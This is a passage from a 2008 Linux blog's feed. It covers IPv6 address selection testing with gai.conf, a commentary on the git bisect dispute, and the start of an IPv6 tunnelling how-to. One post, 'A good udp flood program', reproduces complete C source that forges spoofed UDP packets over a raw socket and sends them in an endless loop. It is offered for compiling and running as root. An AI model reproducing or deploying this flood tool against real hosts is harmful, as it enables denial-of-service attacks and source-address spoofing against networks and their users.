be given higher priority. We can play around with giving different label value to different prefixes. Since source address selection works in conjunction with destination address selection ,we shall look into testing this aspect a little later.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;User Configuration Table For Destination Address Selection :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The destination address user configuration table is based on a conf file called gai.conf. This is placed in /etc/. Distros dont place this file here for a certain reason. For more information please read the article by Ulrich Drepper as stated above. In my system the gai.conf file is located in /usr/share/doc/glibc-common-2.6/gai.conf. This file must be coped to /etc/ if you intend to change the default behavior.&lt;br /&gt;&lt;br /&gt;A typical gai.conf file&lt;br /&gt;&lt;br /&gt;&lt;div style="padding: 4px; overflow: auto; width: 400px; height: 200px; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); font-family: arial; font-size: 14px; text-align: left;"&gt;&lt;br /&gt;&lt;br /&gt;# label   &lt;mask&gt;   &lt;value&gt;&lt;br /&gt;#    Add another rule to the RFC 3484 label table.  See section 2.1 in&lt;br /&gt;#    RFC 3484.  The default is:&lt;br /&gt;#&lt;br /&gt;#label  ::1/128       0&lt;br /&gt;#label  ::/0          1&lt;br /&gt;#label  2002::/16     2&lt;br /&gt;#label ::/96          3&lt;br /&gt;#label ::ffff:0:0/96  4&lt;br /&gt;#label  fec0::/10     5&lt;br /&gt;#label  fc00::/7      6&lt;br /&gt;&lt;br /&gt;#&lt;snip&gt;&lt;br /&gt;&lt;br /&gt;# precedence  &lt;mask&gt;   &lt;value&gt;&lt;br /&gt;#    Add another rule the to RFC 3484 precedence table.  See section 2.1&lt;br /&gt;#    and 10.3 in RFC 3484.  The default is:&lt;br /&gt;#&lt;br /&gt;#precedence  ::1/128       50&lt;br /&gt;#precedence  ::/0          40&lt;br /&gt;#precedence  2002::/16     30&lt;br /&gt;#precedence ::/96          20&lt;br /&gt;#precedence ::ffff:0:0/96  10&lt;br /&gt;#&lt;br /&gt;#    For sites which prefer IPv4 connections change the last line to&lt;br /&gt;#&lt;br /&gt;#precedence ::ffff:0:0/96  100&lt;br /&gt;&lt;/value&gt;&lt;/mask&gt;&lt;/snip&gt;&lt;/value&gt;&lt;/mask&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;For destination address selection, two main criteria's to be considered are label and precedence. It must always be remembered that precedence is associated with destination address selection only. Where as label is common for both source and destination address selection. It is for this reason both the tables must remain in sync for correct result.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Testing Destination Address Selection&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To test destination selection algorithm we need to write a small program to test it. The best way to test the destination address selection algorithm is to use the examples given in RFC 3484. See section 10.2&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Few Requirements:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;- Add a entry "multi on" in /etc/host.conf&lt;br /&gt;- Stop the name service caching daemon (service nscd stop)&lt;br /&gt;- Compile the program given below (This will test the result of default address selection)&lt;br /&gt;&lt;br /&gt;&lt;div style="padding: 4px; overflow: auto; width: 400px; height: 200px; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); font-family: arial; font-size: 14px; text-align: left;"&gt;&lt;br /&gt;#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;#include &amp;lt;error.h&amp;gt;&lt;br /&gt;#include &amp;lt;netdb.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;&lt;br /&gt;char buf[INET6_ADDRSTRLEN];&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;    int err;&lt;br /&gt;    struct addrinfo *ai;&lt;br /&gt;    struct addrinfo hints;&lt;br /&gt;    struct addrinfo *runp;&lt;br /&gt;    int sock;&lt;br /&gt;&lt;br /&gt;    memset(&amp;amp;hints, '\0', sizeof(hints));&lt;br /&gt;    hints.ai_protocol = IPPROTO_TCP;&lt;br /&gt;&lt;br /&gt;    // dummy gethostbyname call so that /etc/host.conf is read&lt;br /&gt;    gethostbyname(argv[1]);&lt;br /&gt;&lt;br /&gt;    err = getaddrinfo(argv[1], "", &amp;amp;hints, &amp;amp;ai);&lt;br /&gt;    if (err != 0)&lt;br /&gt;            error(EXIT_FAILURE, 0, "getaddrinfo(%d): %s", err,&lt;br /&gt;                    gai_strerror(err));&lt;br /&gt;    runp = ai;&lt;br /&gt;    while (runp != NULL) {&lt;br /&gt;            getnameinfo(runp-&gt;ai_addr, runp-&gt;ai_addrlen, buf,&lt;br /&gt;                        INET6_ADDRSTRLEN, NULL, 0, NI_NUMERICHOST);&lt;br /&gt;&lt;br /&gt;            printf("family:%2d socktype:%2d protocol:%3d addr:%s(%d)\n",&lt;br /&gt;                    runp-&gt;ai_family, runp-&gt;ai_socktype, runp-&gt;ai_protocol,&lt;br /&gt;                    buf, runp-&gt;ai_addrlen);&lt;br /&gt;            runp = runp-&gt;ai_next;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    freeaddrinfo(ai);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Example taken from section 10.2 of the RFC:&lt;/span&gt;&lt;br /&gt;Candidate Source Addresses: 2001::2 or fec0::2 or fe80::2&lt;br /&gt;Destination Address List: 2001::1 or fec0::1 or fe80::1&lt;br /&gt;Result: fe80::1 (src fe80::2) then fec0::1 (src fec0::2) then 2001::1 (src 2001::2) (prefer smaller scope)&lt;br /&gt;&lt;br /&gt;The destination address selection will be demonstrated using a example from RFC.&lt;br /&gt;The first step is to add multiple dns entry in the dns server. This is big process, so i will use /etc/hosts file to make things simple (This works similar to dns server replies).&lt;br /&gt;&lt;br /&gt;So add the following in /etc/hosts&lt;br /&gt;fec0::1         rockon&lt;br /&gt;2001::1         rockon&lt;br /&gt;fe80::1         rockon&lt;br /&gt;&lt;br /&gt;Add source addresses to the interface&lt;br /&gt;#ip -6 addr add 2001::2 dev eth0&lt;br /&gt;Similarly for fec0::2 and fe80::2&lt;br /&gt;&lt;br /&gt;Next step is to make sure every destination route added in /etc/hosts must have valid route entry. Else the above will not work.&lt;br /&gt;For Eg : fec0::1 is the destination ip. So the algorithm will choose this only if we have a valid route for this ip.&lt;br /&gt;#ip -6 route add fec0::1 dev eth0&lt;br /&gt;Similarly add routes for the other destination candidates.&lt;br /&gt;&lt;br /&gt;To execute the program&lt;br /&gt;#./a.out rockon&lt;br /&gt;family:10 socktype: 1 protocol:  6 addr:fe80::1(28)&lt;br /&gt;family:10 socktype: 1 protocol:  6 addr:fec0::1(28)&lt;br /&gt;family:10 socktype: 1 protocol:  6 addr:2001::1(28)&lt;br /&gt;&lt;br /&gt;The result shows the order in which destination addresses are sorted. Rest of the examples can be tried out. The destination user configuration table (gai.conf) can be modified to see different results.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Testing Source Address Selection :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lets look at how to test source address selection functionality. The best way to do so is to follow the test cases  specified in RFC 3484. See section 10.1.&lt;br /&gt;For testing source address selection use ping6.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Example taken from section 10.1 of the RFC&lt;/span&gt;&lt;br /&gt;Destination: 2001::1&lt;br /&gt;Candidate Source Addresses: 3ffe::1 or fe80::1&lt;br /&gt;Result: 3ffe::1 (prefer appropriate scope)&lt;br /&gt;&lt;br /&gt;Configure IPv6 address for interface eth0&lt;br /&gt;#ip -6 addr add 3ffe::1 dev eth0&lt;br /&gt;fe80::1 can be ignored as you will have by default a linklocal address&lt;br /&gt;Add a valid route to the destination ip.&lt;br /&gt;#ip -6 route add 2001::1 dev eth0&lt;br /&gt;#ping6 2001::1&lt;br /&gt;&lt;br /&gt;The result will be destination unreachable if 2001::1 doesnt exits. But thats not our issue. The unreachable message will show what source address is selected. This is how one can test the source address selection algorithm. Try out all the different examples given in RFC.Now, by tweaking the user configuration table as mentioned in "User Configuration Table For Source Address Selection" we can modify the behavior.&lt;br /&gt;&lt;br /&gt;Hope this little write was useful in understanding how address selection works. In the part 2 article i will explain how the algorithm work.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt; Thanks to Brandon for pointing out a mistake in the post. Check comments for details.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-8935992421116471283?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/8935992421116471283/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/04/default-address-selection-part-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8935992421116471283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8935992421116471283'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/04/default-address-selection-part-1.html' title='Default Address Selection Part 1'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-7700786158366411775</id><published>2008-04-17T06:21:00.000-07:00</published><updated>2012-01-22T05:40:05.214-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='git'/><category scheme='http://www.blogger.com/atom/ns#' term='community'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel'/><title type='text'>Division Between Users And Kernel Hackers On Git Bisect</title><content type='html'>The source code management tool git has come under scanner again. This time for a different reason. Flame war's are pretty common in linux community. Everytime there is a divided opinion on certain things, it unlocks a fury of mails from the community guru's. What happened this time is no different. It all started when Mark Lord reported a regression in the network stack. Even after a few mail exchanges it was not clear what the cause of problem was. So the netdev guru's asked Mark to "bisect" and arrive at the culprit patch. Mark responded furiously saying that he didnt have time or inclination to do such a thing. He argued that he was only a bug reporter and is not his job to do the bisection. This triggered the whole issue of who does what. It was exchange of heated arguments over mail and few humorous stories to support the claims. No one can forget the "Doctor Patient" story. To sum up the argument, main focus of this whole episode was who is responsible for such regressions. Lets know a little bit of git bisect. Git bisect is used to find a possible cause of the problem. It works on a simple principle, the bug hunter has to know which kernel is working well and which has bug. For example, 2.6.24 is not having any problem but 2.6.25 does, in this case one can use bisect to choose a version somewhere in the middle of these two release. Once done, the bug is to be verified and if found, git bisect has to be run again with the first half release. To make things easy take the same example as above. Bisecting this showed that 2.6.25-rc4 had the issue. So its now clear that the bug was introduced somewhere between 2.6.24 and 2.6.25-rc4. So running git bisect will narrow down even further and this will continue till we narrow down on a particular commit. This will help identify the bug. But the process is time consuming. To lay fact down plain and simple, git bisect need not necessarily narrow down on the correct patch which causes the problem. There is a possibility that problem was created else where and came into light on introducing this "culprit" patch. So this is not a sure shot way to identify the problem. In our issue Mark states that a user identifying a problem must only report it and that where his/her duty ends. It is upto the individual user to do some more homework and help the developers fix the bug. The developers argue that user will be asked to bisect as a last resort. By forcing users to do more work than just reporting bug can cause them to stop reporting bugs which is not a good thing for the community. On the other hand well known kernel hackers like David Miller claims that it is unavoidable sometimes due to unavailability of hardware the user had used in his environment. This requires the user to cooperate in this effort. As one can see, both side do have a strong point to argue. Its difficult to take sides here. This can become a major issue if not resolved quickly. Some suggestions made by Al Viro and James Morris suggest that the subsystem maintainers need to be more careful in committing patches. This can avoid most regression. Another question that was discussed was, how does a user decide which are "real" bugs? What happens in  a complex code like the kernel is, bugs can arise due to some faulty hardware which nobody else faces. When that happens it is virtually impossible to fix it. In such cases the bug remains unfixed. It only come to light if multiple users complain of the same problem. The community urged its users to properly test before posting bugs on the mailing list. The story has not concluded yet as there is no clear solution to this problem. It is left to be seen as to how the community will tackle this  issue.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-7700786158366411775?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/7700786158366411775/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/04/division-between-users-and-kernel.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7700786158366411775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7700786158366411775'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/04/division-between-users-and-kernel.html' title='Division Between Users And Kernel Hackers On Git Bisect'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-2843207961095544367</id><published>2008-03-24T01:16:00.000-07:00</published><updated>2012-01-22T05:40:05.314-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='udpflood'/><category scheme='http://www.blogger.com/atom/ns#' term='network attacks'/><title type='text'>A good udp flood program</title><content type='html'>I found this code on the internet sometime back. Iam not taking the credit of the original author. Its only a another place for me to host the code :)&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt;From B.O.S. 2/05/96&lt;br /&gt;&lt;br /&gt;I noticed someone mentioning the echo port. My advice is to disable the&lt;br /&gt;echo service completely. It is often used by hackers to hang a computer.&lt;br /&gt;&lt;br /&gt;Try sending a packet from port 7 your ip to port 7 your ip.&lt;br /&gt;&lt;br /&gt;The system will bounce the packet back and forth slowing the system&lt;br /&gt;drastically.&lt;br /&gt;&lt;br /&gt;A Hacker Program I have seen used to do this is called arnudp.c&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;/************************************************************************/&lt;br /&gt;/* arnudp.c version 0.01 by Arny - cs6171@scitsc.wlv.ac.uk              */&lt;br /&gt;/* Sends a single udp datagram with the source/destination address/port */&lt;br /&gt;/* set to whatever you want.  Unfortunately Linux 1.2 and SunOS 4.1     */&lt;br /&gt;/* don't seem to have the IP_HDRINCL option, so the source address will */&lt;br /&gt;/* be set to the real address.  It does however work ok on SunOS 5.4.   */&lt;br /&gt;/* Should compile fine with just an ANSI compiler (such as gcc) under   */&lt;br /&gt;/* Linux and SunOS 4.1, but with SunOS 5.4 you have to specify extra    */&lt;br /&gt;/* libraries on the command line:                                       */&lt;br /&gt;/*      /usr/ucb/cc -o arnudp arnudp001.c -lsocket -lnsl                */&lt;br /&gt;/* I'll state the obvious - this needs to be run as root!  Do not use   */&lt;br /&gt;/* this program unless you know what you are doing, as it is possible   */&lt;br /&gt;/* that you could confuse parts of your network / internet.             */&lt;br /&gt;/* (c) 1995 Arny - I accept no responsiblity for anything this does.    */&lt;br /&gt;/************************************************************************/&lt;br /&gt;/* I used the source of traceroute as an example while writing this.    */&lt;br /&gt;/* Many thanks to Dan Egnor (egnor@ugcs.caltech.edu) and Rich Stevens   */&lt;br /&gt;/* for pointing me in the right direction.                              */&lt;br /&gt;/************************************************************************/&lt;br /&gt;&lt;br /&gt;#include&amp;lt;sys/types.h&amp;gt;&lt;br /&gt;#include&amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;#include&amp;lt;netinet/in_systm.h&amp;gt;&lt;br /&gt;#include&amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;#include&amp;lt;netinet/ip.h&amp;gt;&lt;br /&gt;#include&amp;lt;netinet/udp.h&amp;gt;&lt;br /&gt;#include&amp;lt;errno.h&amp;gt;&lt;br /&gt;#include&amp;lt;string.h&amp;gt;&lt;br /&gt;#include&amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include&amp;lt;netdb.h&amp;gt;&lt;br /&gt;#include&amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;struct sockaddr sa;&lt;br /&gt;&lt;br /&gt;main(int argc,char **argv)&lt;br /&gt;{&lt;br /&gt;int fd;&lt;br /&gt;int x=1;&lt;br /&gt;struct sockaddr_in *p;&lt;br /&gt;struct hostent *he;&lt;br /&gt;u_char gram[38]=&lt;br /&gt;        {&lt;br /&gt;        0x45,   0x00,   0x00,   0x26,&lt;br /&gt;        0x12,   0x34,   0x00,   0x00,&lt;br /&gt;        0xFF,   0x11,   0,      0,&lt;br /&gt;        0,      0,      0,      0,&lt;br /&gt;        0,      0,      0,      0,&lt;br /&gt;&lt;br /&gt;        0,      0,      0,      0,&lt;br /&gt;        0x00,   0x12,   0x00,   0x00,&lt;br /&gt;&lt;br /&gt;        '1','2','3','4','5','6','7','8','9','0'&lt;br /&gt;        };&lt;br /&gt;&lt;br /&gt;if(argc!=5)&lt;br /&gt;        {&lt;br /&gt;        fprintf(stderr,"usage: %s sourcename sourceport destinationname destinationport\n",*argv);&lt;br /&gt;        exit(1);&lt;br /&gt;        };&lt;br /&gt;&lt;br /&gt;if((he=gethostbyname(argv[1]))==NULL)&lt;br /&gt;        {&lt;br /&gt;        fprintf(stderr,"can't resolve source hostname\n");&lt;br /&gt;        exit(1);&lt;br /&gt;        };&lt;br /&gt;bcopy(*(he-&gt;h_addr_list),(gram+12),4);&lt;br /&gt;&lt;br /&gt;if((he=gethostbyname(argv[3]))==NULL)&lt;br /&gt;        {&lt;br /&gt;        fprintf(stderr,"can't resolve destination hostname\n");&lt;br /&gt;        exit(1);&lt;br /&gt;        };&lt;br /&gt;bcopy(*(he-&gt;h_addr_list),(gram+16),4);&lt;br /&gt;&lt;br /&gt;*(u_short*)(gram+20)=htons((u_short)atoi(argv[2]));&lt;br /&gt;*(u_short*)(gram+22)=htons((u_short)atoi(argv[4]));&lt;br /&gt;&lt;br /&gt;p=(struct sockaddr_in*)&amp;sa;&lt;br /&gt;p-&gt;sin_family=AF_INET;&lt;br /&gt;bcopy(*(he-&gt;h_addr_list),&amp;(p-&gt;sin_addr),sizeof(struct in_addr));&lt;br /&gt;if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)&lt;br /&gt;        {&lt;br /&gt;        perror("socket");&lt;br /&gt;        exit(1);&lt;br /&gt;        };&lt;br /&gt;&lt;br /&gt;#ifdef IP_HDRINCL&lt;br /&gt;fprintf(stderr,"we have IP_HDRINCL :-)\n\n");&lt;br /&gt;if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&amp;x,sizeof(x))&lt;0)&lt;br /&gt;        {&lt;br /&gt;        perror("setsockopt IP_HDRINCL");&lt;br /&gt;        exit(1);&lt;br /&gt;        };&lt;br /&gt;#else&lt;br /&gt;fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");&lt;br /&gt;#endif&lt;br /&gt;x:&lt;br /&gt;if((sendto(fd,&amp;gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)&lt;br /&gt;        {&lt;br /&gt;        perror("sendto");&lt;br /&gt;        exit(1);&lt;br /&gt;        };&lt;br /&gt;goto x;&lt;br /&gt;printf("datagram sent without error:");&lt;br /&gt;for(x=0;x&lt;(sizeof(gram)/sizeof(u_char));x++)&lt;br /&gt;        {&lt;br /&gt;        if(!(x%4)) putchar('\n');&lt;br /&gt;        printf("%02x",gram[x]);&lt;br /&gt;        };&lt;br /&gt;putchar('\n');&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Compile and execute as root&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-2843207961095544367?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/2843207961095544367/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/03/good-udp-flood-program.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2843207961095544367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/2843207961095544367'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/03/good-udp-flood-program.html' title='A good udp flood program'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-1851886476820626696</id><published>2008-02-16T08:27:00.000-08:00</published><updated>2012-01-22T05:40:05.424-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tunneling'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ipv6'/><title type='text'>HOWTO: ipv6-ipv6 tunnel and ip4-ipv6 tunnel in linux</title><content type='html'>I had an requirement to setup an ipv6-ipv6 tunnel and ipv4-ipv6 tunnel and i found that there were very few howto's that were worth it. So i decided to write this blog to get people started with ipv6 tunneling.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_yWIW9H6R1sc/R7VhhFS7gaI/AAAAAAAAAA0/5ikYP_d2HaQ/s1600-h/20070531_107341_image006_201180_57_0.gif"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_yWIW9H6R1sc/R7VhhFS7gaI/AAAAAAAAAA0/5ikYP_d2HaQ/s400/20070531_107341_image006_201180_57_0.gif" alt="" id="BLOGGER_PHOTO_ID_5167143368462664098" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;                                                &lt;/span&gt;&lt;span&gt;       &lt;center&gt;Figure 1&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;-What is a IPv6 Tunnel?&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;A tunnel is a virtual device used to encapsulate any type of packet into a network aware packet type. That is, i can send any ipv4 type of packets over an ipv6 network. For more information click &lt;a style="font-style: italic;" href="http://www.h3c.com/portal/Products___Solutions/Technology/IPv4___IPv6_Services/Tunneling/200702/201180_57_0.htm"&gt;here&lt;/a&gt;.  &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-Types of IPv6 Tunnels:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;-&lt;span style="font-style: italic;"&gt;ipv6 - ipv6 Tunnel (ipv6 over ipv6 tunnel)&lt;br /&gt;&lt;br /&gt;-ipv4 - ipv6 Tunnel (ipv4 over ipv6 tunnel)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Requirements:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    &lt;/span&gt;&lt;/span&gt;- Any distro with kernel version 2.6.22 or above.&lt;br /&gt;&lt;br /&gt;Note : The ipv4 over ipv6 feature was introduced only in 2.6.22 kernel. Older kernels wont work.&lt;br /&gt;&lt;br /&gt;- iproute2 package. Most distro's package the "ip" command. It is to be noted that at the time of writing this blog, most distro's with ip command didnt support ipv4 over ipv6. If thats is the case please download the latest packages from &lt;a href="http://developer.osdl.org/dev/iproute2/download/"&gt;&lt;span style="font-style: italic;"&gt;here&lt;/span&gt;&lt;/a&gt;. For the developers, download from the git repo &lt;a style="font-style: italic;" href="http://git.kernel.org/?p=linux/kernel/git/shemminger/iproute2.git;a=summary"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-Steps to create a ipv6-ipv6 tunnel:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;1) &lt;span style="font-weight: bold;"&gt;Configure Host A of Private Network A :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    The configurations:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;eth0: ipv6 address : 3001:470:1f00:fff::189&lt;br /&gt;&lt;br /&gt;The node "Host A" must be having an ipv6 address. Even an linklocal address is ok.&lt;br /&gt;&lt;br /&gt;Add the ip address to the interface if it is not configured already.&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;#ip -6 addr add 3001:470:1f00:ffff::189 dev eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;#ip -6 route add 3001::/4 dev eth0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;  Add the default route to reach the router.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;   	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;    &lt;span style="font-weight: bold;"&gt;#ip -6 route add default via 3001:470:1f00:ffff::190 dev eth0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;2) &lt;span style="font-weight: bold;"&gt;Configure Host B of Private Network B :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    The configurations:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;eth0: ipv6 address : 5001:470:1f00:fff::189&lt;br /&gt;&lt;br /&gt;The node "Host A" must be having an ipv6 address. Even an linklocal address is ok.&lt;br /&gt;&lt;br /&gt;Add the ip address to the interface if it is not configured already.&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;#ip -6 addr add 5001:470:1f00:ffff::189 dev eth0&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;#ip -6 route add 5001::/4 dev eth0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;  Add the default route to reach the router.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;   	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;    &lt;span style="font-weight: bold;"&gt;#ip -6 route add default via 5001:470:1f00:ffff::190 dev eth0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;3) &lt;span style="font-weight: bold;"&gt;Configure Router A : &lt;/span&gt;(I Assume that your 